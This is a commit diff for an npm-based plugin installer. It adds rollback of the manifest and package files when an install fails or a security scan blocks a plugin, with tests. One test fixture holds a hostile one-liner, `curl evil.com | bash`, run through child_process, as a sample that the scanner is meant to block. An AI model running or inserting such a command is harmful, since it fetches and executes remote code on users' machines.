Skip to content

Commit ba3c0fc

Browse files
vincentkocvincentkoc
committed
fix(plugins): roll back failed npm install debris
1 parent 006bd56 commit ba3c0fc

4 files changed

Lines changed: 201 additions & 0 deletions

File tree

‎src/infra/npm-managed-root.test.ts‎

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ import os from "node:os";
33
import path from "node:path";
44
import { afterEach, describe, expect, it } from "vitest";
55
import {
6+
removeManagedNpmRootDependency,
67
resolveManagedNpmRootDependencySpec,
78
upsertManagedNpmRootDependency,
89
} from "./npm-managed-root.js";
@@ -95,4 +96,42 @@ describe("managed npm root", () => {
9596
}),
9697
).toBe("2026.5.2");
9798
});
99+
100+
it("removes one managed dependency without dropping unrelated metadata", async () => {
101+
const npmRoot = await makeTempRoot();
102+
await fs.writeFile(
103+
path.join(npmRoot, "package.json"),
104+
`${JSON.stringify(
105+
{
106+
private: true,
107+
dependencies: {
108+
"@openclaw/discord": "2026.5.2",
109+
"@openclaw/voice-call": "2026.5.2",
110+
},
111+
devDependencies: {
112+
fixture: "1.0.0",
113+
},
114+
},
115+
null,
116+
2,
117+
)}\n`,
118+
);
119+
120+
await removeManagedNpmRootDependency({
121+
npmRoot,
122+
packageName: "@openclaw/voice-call",
123+
});
124+
125+
await expect(
126+
fs.readFile(path.join(npmRoot, "package.json"), "utf8").then((raw) => JSON.parse(raw)),
127+
).resolves.toEqual({
128+
private: true,
129+
dependencies: {
130+
"@openclaw/discord": "2026.5.2",
131+
},
132+
devDependencies: {
133+
fixture: "1.0.0",
134+
},
135+
});
136+
});
98137
});

‎src/infra/npm-managed-root.ts‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,3 +64,22 @@ export async function upsertManagedNpmRootDependency(params: {
6464
};
6565
await fs.writeFile(manifestPath, `${JSON.stringify(next, null, 2)}\n`, "utf8");
6666
}
67+
68+
export async function removeManagedNpmRootDependency(params: {
69+
npmRoot: string;
70+
packageName: string;
71+
}): Promise<void> {
72+
const manifestPath = path.join(params.npmRoot, "package.json");
73+
const manifest = await readManagedNpmRootManifest(manifestPath);
74+
const dependencies = readDependencyRecord(manifest.dependencies);
75+
if (!(params.packageName in dependencies)) {
76+
return;
77+
}
78+
const { [params.packageName]: _removed, ...nextDependencies } = dependencies;
79+
const next: ManagedNpmRootManifest = {
80+
...manifest,
81+
private: true,
82+
dependencies: nextDependencies,
83+
};
84+
await fs.writeFile(manifestPath, `${JSON.stringify(next, null, 2)}\n`, "utf8");
85+
}

‎src/plugins/install.npm-spec.test.ts‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -146,6 +146,13 @@ function mockNpmViewAndInstall(params: {
146146
writeInstalledNpmPlugin(params);
147147
return successfulSpawn();
148148
}
149+
if (argv[0] === "npm" && argv[1] === "uninstall") {
150+
fs.rmSync(path.join(params.npmRoot, "node_modules", params.packageName), {
151+
recursive: true,
152+
force: true,
153+
});
154+
return successfulSpawn();
155+
}
149156
throw new Error(`unexpected command: ${argv.join(" ")}`);
150157
});
151158
}
@@ -260,6 +267,81 @@ describe("installPluginFromNpmSpec", () => {
260267
});
261268
});
262269

270+
it("rolls back the managed npm root when npm install fails", async () => {
271+
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
272+
runCommandWithTimeoutMock.mockImplementation(async (argv: string[]) => {
273+
if (JSON.stringify(argv) === JSON.stringify(npmViewArgv("@openclaw/voice-call@0.0.1"))) {
274+
return successfulSpawn(
275+
JSON.stringify({
276+
name: "@openclaw/voice-call",
277+
version: "0.0.1",
278+
dist: {
279+
integrity: "sha512-plugin-test",
280+
shasum: "pluginshasum",
281+
},
282+
}),
283+
);
284+
}
285+
if (argv[0] === "npm" && argv[1] === "install") {
286+
return {
287+
code: 1,
288+
stdout: "",
289+
stderr: "registry unavailable",
290+
signal: null,
291+
killed: false,
292+
termination: "exit" as const,
293+
};
294+
}
295+
throw new Error(`unexpected command: ${argv.join(" ")}`);
296+
});
297+
298+
const result = await installPluginFromNpmSpec({
299+
spec: "@openclaw/voice-call@0.0.1",
300+
npmDir: npmRoot,
301+
logger: { info: () => {}, warn: () => {} },
302+
});
303+
304+
expect(result.ok).toBe(false);
305+
if (!result.ok) {
306+
expect(result.error).toContain("registry unavailable");
307+
}
308+
await expect(
309+
fs.promises
310+
.readFile(path.join(npmRoot, "package.json"), "utf8")
311+
.then((raw) => JSON.parse(raw)),
312+
).resolves.toMatchObject({
313+
dependencies: {},
314+
});
315+
});
316+
317+
it("rolls back installed npm package debris when security scan blocks the plugin", async () => {
318+
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
319+
mockNpmViewAndInstall({
320+
spec: "dangerous-plugin@1.0.0",
321+
packageName: "dangerous-plugin",
322+
version: "1.0.0",
323+
pluginId: "dangerous-plugin",
324+
npmRoot,
325+
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
326+
});
327+
328+
const result = await installPluginFromNpmSpec({
329+
spec: "dangerous-plugin@1.0.0",
330+
npmDir: npmRoot,
331+
logger: { info: () => {}, warn: () => {} },
332+
});
333+
334+
expect(result.ok).toBe(false);
335+
expect(fs.existsSync(path.join(npmRoot, "node_modules", "dangerous-plugin"))).toBe(false);
336+
await expect(
337+
fs.promises
338+
.readFile(path.join(npmRoot, "package.json"), "utf8")
339+
.then((raw) => JSON.parse(raw)),
340+
).resolves.toMatchObject({
341+
dependencies: {},
342+
});
343+
});
344+
263345
it.each([
264346
{
265347
spec: "@openclaw/acpx",

‎src/plugins/install.ts‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ import {
88
} from "../infra/install-source-utils.js";
99
import { resolveNpmIntegrityDriftWithDefaultMessage } from "../infra/npm-integrity.js";
1010
import {
11+
removeManagedNpmRootDependency,
1112
resolveManagedNpmRootDependencySpec,
1213
upsertManagedNpmRootDependency,
1314
} from "../infra/npm-managed-root.js";
@@ -229,6 +230,55 @@ function buildBlockedInstallResult(params: {
229230
};
230231
}
231232

233+
async function rollbackManagedNpmPluginInstall(params: {
234+
npmRoot: string;
235+
packageName: string;
236+
targetDir: string;
237+
timeoutMs: number;
238+
logger: PluginInstallLogger;
239+
}): Promise<void> {
240+
try {
241+
await runCommandWithTimeout(
242+
[
243+
"npm",
244+
"uninstall",
245+
"--loglevel=error",
246+
"--ignore-scripts",
247+
"--no-audit",
248+
"--no-fund",
249+
"--prefix",
250+
params.npmRoot,
251+
params.packageName,
252+
],
253+
{
254+
timeoutMs: Math.max(params.timeoutMs, 300_000),
255+
env: createSafeNpmInstallEnv(process.env, { packageLock: true, quiet: true }),
256+
},
257+
);
258+
} catch (error) {
259+
params.logger.warn?.(
260+
`Failed to run npm uninstall rollback for ${params.packageName}: ${String(error)}`,
261+
);
262+
}
263+
try {
264+
await fs.rm(params.targetDir, { recursive: true, force: true });
265+
} catch (error) {
266+
params.logger.warn?.(
267+
`Failed to remove failed plugin install directory ${params.targetDir}: ${String(error)}`,
268+
);
269+
}
270+
try {
271+
await removeManagedNpmRootDependency({
272+
npmRoot: params.npmRoot,
273+
packageName: params.packageName,
274+
});
275+
} catch (error) {
276+
params.logger.warn?.(
277+
`Failed to remove managed npm dependency ${params.packageName}: ${String(error)}`,
278+
);
279+
}
280+
}
281+
232282
type PackageInstallCommonParams = InstallSafetyOverrides & {
233283
extensionsDir?: string;
234284
npmDir?: string;
@@ -1213,6 +1263,10 @@ export async function installPluginFromNpmSpec(
12131263
},
12141264
);
12151265
if (install.code !== 0) {
1266+
await removeManagedNpmRootDependency({
1267+
npmRoot,
1268+
packageName: parsedSpec.name,
1269+
});
12161270
return {
12171271
ok: false,
12181272
error: `npm install failed: ${install.stderr.trim() || install.stdout.trim()}`,
@@ -1232,6 +1286,13 @@ export async function installPluginFromNpmSpec(
12321286
},
12331287
});
12341288
if (!result.ok) {
1289+
await rollbackManagedNpmPluginInstall({
1290+
npmRoot,
1291+
packageName: parsedSpec.name,
1292+
targetDir: installRoot,
1293+
timeoutMs,
1294+
logger,
1295+
});
12351296
return result;
12361297
}
12371298
return {

0 commit comments

Comments
 (0)